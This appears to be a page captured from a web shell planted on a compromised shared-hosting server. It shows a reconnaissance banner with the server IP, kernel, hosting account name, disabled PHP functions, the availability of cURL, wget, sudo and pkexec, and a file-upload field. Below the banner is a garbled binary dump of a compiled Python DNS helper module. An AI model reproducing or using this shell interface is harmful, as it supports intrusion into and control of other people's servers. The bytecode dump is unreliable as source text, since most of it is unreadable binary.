| Server IP : 68.178.164.50 / Your IP : 216.73.216.142 Web Server : Apache System : Linux 50.164.178.68.host.secureserver.net 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64 User : rathinambschool ( 1053) PHP Version : 8.2.30 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib/python3.9/site-packages/dns/__pycache__/ |
Upload File : |
a
�M�e� � @ sd d Z ddlZddlmZ ddlZeed�dd�Zeeef ed�dd �Z eeef ed�d
d�Z
dS )zIPv4 helper functions.� N)�Union)�address�returnc C s4 t | �dkrtjj�d| d | d | d | d f S )z�Convert an IPv4 address in binary form to text form.
*address*, a ``bytes``, the IPv4 address in binary form.
Returns a ``str``.
� z%u.%u.%u.%ur � � � )�len�dns� exception�SyntaxError)r � r
�,/usr/lib/python3.9/site-packages/dns/ipv4.py� inet_ntoa s r )�textr c C s� t | t�s| �� }n| }|�d�}t|�dkr6tjj�|D ]8}|�� sNtjj�t|�dkr:|d t d�kr:tjj�q:z"dd� |D �}t
jdg|�R � W S ty� tjj�Y n0 d S )
z�Convert an IPv4 address in text form to binary form.
*text*, a ``str`` or ``bytes``, the IPv4 address in textual form.
Returns a ``bytes``.
� .r r r �0c S s g | ]}t |��qS r
)�int)�.0�partr
r
r �
<listcomp>= � zinet_aton.<locals>.<listcomp>ZBBBBN)
�
isinstance�bytes�encode�splitr r
r r �isdigit�ord�struct�pack� Exception)r Zbtext�partsr �br
r
r � inet_aton'